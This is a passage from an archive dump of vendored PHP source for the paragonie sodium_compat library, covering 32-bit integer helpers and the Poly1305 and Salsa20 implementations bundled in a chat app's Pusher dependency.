((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) <<
8);
        $return->limbs[3] |=
(ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array(
            (int) ((($this->limbs[0] & 0xffff) << 16) |
($this->limbs[1] & 0xffff)),
            (int) ((($this->limbs[2] & 0xffff) << 16) |
($this->limbs[3] & 0xffff))
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[2]);
        $return->limbs[1] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int)
(ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs[0] = (int) ($this->limbs[0]);
        $return->limbs[1] = (int) ($this->limbs[1]);
        $return->limbs[2] = (int) ($this->limbs[2]);
        $return->limbs[3] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow =
ParagonIE_Sodium_Core32_Util::abs($this->overflow);
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] &
0xff);
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3]
& 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1]
>> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] &
0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0]
>> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
PK	�[#/�cl>l>Tchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Poly1305/State.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305_State',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305_State
 */
class ParagonIE_Sodium_Core32_Poly1305_State extends
ParagonIE_Sodium_Core32_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $r;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core32_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            // st->r[0] = ...
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4))
                ->setUnsignedInt(true)
                ->mask(0x3ffffff),
            // st->r[1] = ...
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4))
                ->setUnsignedInt(true)
                ->shiftRight(2)
                ->mask(0x3ffff03),
            // st->r[2] = ...
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4))
                ->setUnsignedInt(true)
                ->shiftRight(4)
                ->mask(0x3ffc0ff),
            // st->r[3] = ...
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4))
                ->setUnsignedInt(true)
                ->shiftRight(6)
                ->mask(0x3f03fff),
            // st->r[4] = ...
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4))
                ->setUnsignedInt(true)
                ->shiftRight(8)
                ->mask(0x00fffff)
        );

        /* h = 0 */
        $this->h = array(
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true)
        );

        /* save pad for later */
        $this->pad = array(
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4))
                ->setUnsignedInt(true)->toInt64(),
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4))
                ->setUnsignedInt(true)->toInt64(),
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4))
                ->setUnsignedInt(true)->toInt64(),
           
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4))
                ->setUnsignedInt(true)->toInt64(),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);

        /* handle leftover */
        if ($this->leftover) {
            /** @var int $want */
            $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE -
$this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover <
ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run
$this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes &
~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                /** @var string $block */
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >=
ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00",
STR_PAD_RIGHT);
        }
        $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int)
($this->final ? 0 : 1 << 24)); /* 1 << 128 */
        $hibit->setUnsignedInt(true);
        $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true);
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $d0
         * @var ParagonIE_Sodium_Core32_Int64 $d1
         * @var ParagonIE_Sodium_Core32_Int64 $d2
         * @var ParagonIE_Sodium_Core32_Int64 $d3
         * @var ParagonIE_Sodium_Core32_Int64 $d4
         * @var ParagonIE_Sodium_Core32_Int64 $r0
         * @var ParagonIE_Sodium_Core32_Int64 $r1
         * @var ParagonIE_Sodium_Core32_Int64 $r2
         * @var ParagonIE_Sodium_Core32_Int64 $r3
         * @var ParagonIE_Sodium_Core32_Int64 $r4
         *
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $r0 = $this->r[0]->toInt64();
        $r1 = $this->r[1]->toInt64();
        $r2 = $this->r[2]->toInt64();
        $r3 = $this->r[3]->toInt64();
        $r4 = $this->r[4]->toInt64();

        $s1 = $r1->toInt64()->mulInt(5, 3);
        $s2 = $r2->toInt64()->mulInt(5, 3);
        $s3 = $r3->toInt64()->mulInt(5, 3);
        $s4 = $r4->toInt64()->mulInt(5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 = $h0->addInt32(
               
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0,
4))
                    ->mask(0x3ffffff)
            )->toInt64();
            $h1 = $h1->addInt32(
               
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3,
4))
                    ->shiftRight(2)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h2 = $h2->addInt32(
               
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6,
4))
                    ->shiftRight(4)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h3 = $h3->addInt32(
               
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9,
4))
                    ->shiftRight(6)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h4 = $h4->addInt32(
               
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12,
4))
                    ->shiftRight(8)
                    ->orInt32($hibit)
            )->toInt64();

            /* h *= r */
            $d0 = $zero
                ->addInt64($h0->mulInt64($r0, 25))
                ->addInt64($s4->mulInt64($h1, 26))
                ->addInt64($s3->mulInt64($h2, 26))
                ->addInt64($s2->mulInt64($h3, 26))
                ->addInt64($s1->mulInt64($h4, 26));

            $d1 = $zero
                ->addInt64($h0->mulInt64($r1, 25))
                ->addInt64($h1->mulInt64($r0, 25))
                ->addInt64($s4->mulInt64($h2, 26))
                ->addInt64($s3->mulInt64($h3, 26))
                ->addInt64($s2->mulInt64($h4, 26));

            $d2 = $zero
                ->addInt64($h0->mulInt64($r2, 25))
                ->addInt64($h1->mulInt64($r1, 25))
                ->addInt64($h2->mulInt64($r0, 25))
                ->addInt64($s4->mulInt64($h3, 26))
                ->addInt64($s3->mulInt64($h4, 26));

            $d3 = $zero
                ->addInt64($h0->mulInt64($r3, 25))
                ->addInt64($h1->mulInt64($r2, 25))
                ->addInt64($h2->mulInt64($r1, 25))
                ->addInt64($h3->mulInt64($r0, 25))
                ->addInt64($s4->mulInt64($h4, 26));

            $d4 = $zero
                ->addInt64($h0->mulInt64($r4, 25))
                ->addInt64($h1->mulInt64($r3, 25))
                ->addInt64($h2->mulInt64($r2, 25))
                ->addInt64($h3->mulInt64($r1, 25))
                ->addInt64($h4->mulInt64($r0, 25));

            /* (partial) h %= p */
            $c = $d0->shiftRight(26);
            $h0 = $d0->toInt32()->mask(0x3ffffff);
            $d1 = $d1->addInt64($c);

            $c = $d1->shiftRight(26);
            $h1 = $d1->toInt32()->mask(0x3ffffff);
            $d2 = $d2->addInt64($c);

            $c = $d2->shiftRight(26);
            $h2 = $d2->toInt32()->mask(0x3ffffff);
            $d3 = $d3->addInt64($c);

            $c = $d3->shiftRight(26);
            $h3 = $d3->toInt32()->mask(0x3ffffff);
            $d4 = $d4->addInt64($c);

            $c = $d4->shiftRight(26);
            $h4 = $d4->toInt32()->mask(0x3ffffff);
            $h0 = $h0->addInt32($c->toInt32()->mulInt(5, 3));

            $c = $h0->shiftRight(26);
            $h0 = $h0->mask(0x3ffffff);
            $h1 = $h1->addInt32($c);

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE;
        }

        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $this->h = array($h0, $h1, $h2, $h3, $h4);
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE;
++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
                ),
                $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
        }

        /**
         * @var ParagonIE_Sodium_Core32_Int32 $f
         * @var ParagonIE_Sodium_Core32_Int32 $g0
         * @var ParagonIE_Sodium_Core32_Int32 $g1
         * @var ParagonIE_Sodium_Core32_Int32 $g2
         * @var ParagonIE_Sodium_Core32_Int32 $g3
         * @var ParagonIE_Sodium_Core32_Int32 $g4
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        $c = $h1->shiftRight(26);           # $c = $h1 >> 26;
        $h1 = $h1->mask(0x3ffffff);         # $h1 &= 0x3ffffff;

        $h2 = $h2->addInt32($c);            # $h2 += $c;
        $c = $h2->shiftRight(26);           # $c = $h2 >> 26;
        $h2 = $h2->mask(0x3ffffff);         # $h2 &= 0x3ffffff;

        $h3 = $h3->addInt32($c);            # $h3 += $c;
        $c = $h3->shiftRight(26);           # $c = $h3 >> 26;
        $h3 = $h3->mask(0x3ffffff);         # $h3 &= 0x3ffffff;

        $h4 = $h4->addInt32($c);            # $h4 += $c;
        $c = $h4->shiftRight(26);           # $c = $h4 >> 26;
        $h4 = $h4->mask(0x3ffffff);         # $h4 &= 0x3ffffff;

        $h0 = $h0->addInt32($c->mulInt(5, 3)); # $h0 += self::mul($c,
5);
        $c = $h0->shiftRight(26);           # $c = $h0 >> 26;
        $h0 = $h0->mask(0x3ffffff);         # $h0 &= 0x3ffffff;
        $h1 = $h1->addInt32($c);            # $h1 += $c;

        /* compute h + -p */
        $g0 = $h0->addInt(5);
        $c  = $g0->shiftRight(26);
        $g0 = $g0->mask(0x3ffffff);
        $g1 = $h1->addInt32($c);
        $c  = $g1->shiftRight(26);
        $g1 = $g1->mask(0x3ffffff);
        $g2 = $h2->addInt32($c);
        $c  = $g2->shiftRight(26);
        $g2 = $g2->mask(0x3ffffff);
        $g3 = $h3->addInt32($c);
        $c  = $g3->shiftRight(26);
        $g3 = $g3->mask(0x3ffffff);
        $g4 = $h4->addInt32($c)->subInt(1 << 26);

        # $mask = ($g4 >> 31) - 1;
        /* select h if h < p, or h + -p if h >= p */
        $mask = (int) (($g4->toInt() >> 31) + 1);

        $g0 = $g0->mask($mask);
        $g1 = $g1->mask($mask);
        $g2 = $g2->mask($mask);
        $g3 = $g3->mask($mask);
        $g4 = $g4->mask($mask);

        /** @var int $mask */
        $mask = (~$mask) & 0xffffffff;

        $h0 = $h0->mask($mask)->orInt32($g0);
        $h1 = $h1->mask($mask)->orInt32($g1);
        $h2 = $h2->mask($mask)->orInt32($g2);
        $h3 = $h3->mask($mask)->orInt32($g3);
        $h4 = $h4->mask($mask)->orInt32($g4);

        /* h = h % (2^128) */
        $h0 = $h0->orInt32($h1->shiftLeft(26));
        $h1 = $h1->shiftRight(6)->orInt32($h2->shiftLeft(20));
        $h2 = $h2->shiftRight(12)->orInt32($h3->shiftLeft(14));
        $h3 = $h3->shiftRight(18)->orInt32($h4->shiftLeft(8));

        /* mac = (h + pad) % (2^128) */
        $f = $h0->toInt64()->addInt64($this->pad[0]);
        $h0 = $f->toInt32();
        $f =
$h1->toInt64()->addInt64($this->pad[1])->addInt($h0->overflow);
        $h1 = $f->toInt32();
        $f =
$h2->toInt64()->addInt64($this->pad[2])->addInt($h1->overflow);
        $h2 = $f->toInt32();
        $f =
$h3->toInt64()->addInt64($this->pad[3])->addInt($h2->overflow);
        $h3 = $f->toInt32();

        return $h0->toReverseString() .
            $h1->toReverseString() .
            $h2->toReverseString() .
            $h3->toReverseString();
    }
}
PK	�[�w�`22Nchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Poly1305.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305
 */
abstract class ParagonIE_Sodium_Core32_Poly1305 extends
ParagonIE_Sodium_Core32_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
PK	�[@(�,�,�,Mchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Salsa20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Salsa20
 */
abstract class ParagonIE_Sodium_Core32_Salsa20 extends
ParagonIE_Sodium_Core32_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes
long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170,
0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320,
0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962,
0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20,
0x6574));
        } else {
            $x0  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        $j0  = clone $x0;
        $j1  = clone $x1;
        $j2  = clone $x2;
        $j3  = clone $x3;
        $j4  = clone $x4;
        $j5  = clone $x5;
        $j6  = clone $x6;
        $j7  = clone $x7;
        $j8  = clone $x8;
        $j9  = clone $x9;
        $j10  = clone $x10;
        $j11  = clone $x11;
        $j12  = clone $x12;
        $j13  = clone $x13;
        $j14  = clone $x14;
        $j15  = clone $x15;

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  =
$x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  =
$x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 =
$x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  =
$x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  =
$x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 =
$x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
            $x1  =
$x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  =
$x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 =
$x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  =
$x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  =
$x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 =
$x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  =
$x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  =
$x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 =
$x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 =
$x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  =
$x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  =
$x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  =
$x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  =
$x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  =
$x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  =
$x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  =
$x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  =
$x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 =
$x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  =
$x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  =
$x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 =
$x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 =
$x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 =
$x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 =
$x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 =
$x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        $x0  = $x0->addInt32($j0);
        $x1  = $x1->addInt32($j1);
        $x2  = $x2->addInt32($j2);
        $x3  = $x3->addInt32($j3);
        $x4  = $x4->addInt32($j4);
        $x5  = $x5->addInt32($j5);
        $x6  = $x6->addInt32($j6);
        $x7  = $x7->addInt32($j7);
        $x8  = $x8->addInt32($j8);
        $x9  = $x9->addInt32($j9);
        $x10 = $x10->addInt32($j10);
        $x11 = $x11->addInt32($j11);
        $x12 = $x12->addInt32($j12);
        $x13 = $x13->addInt32($j13);
        $x14 = $x14->addInt32($j14);
        $x15 = $x15->addInt32($j15);

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x4->toReverseString() .
            $x5->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString() .
            $x10->toReverseString() .
            $x11->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes
long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
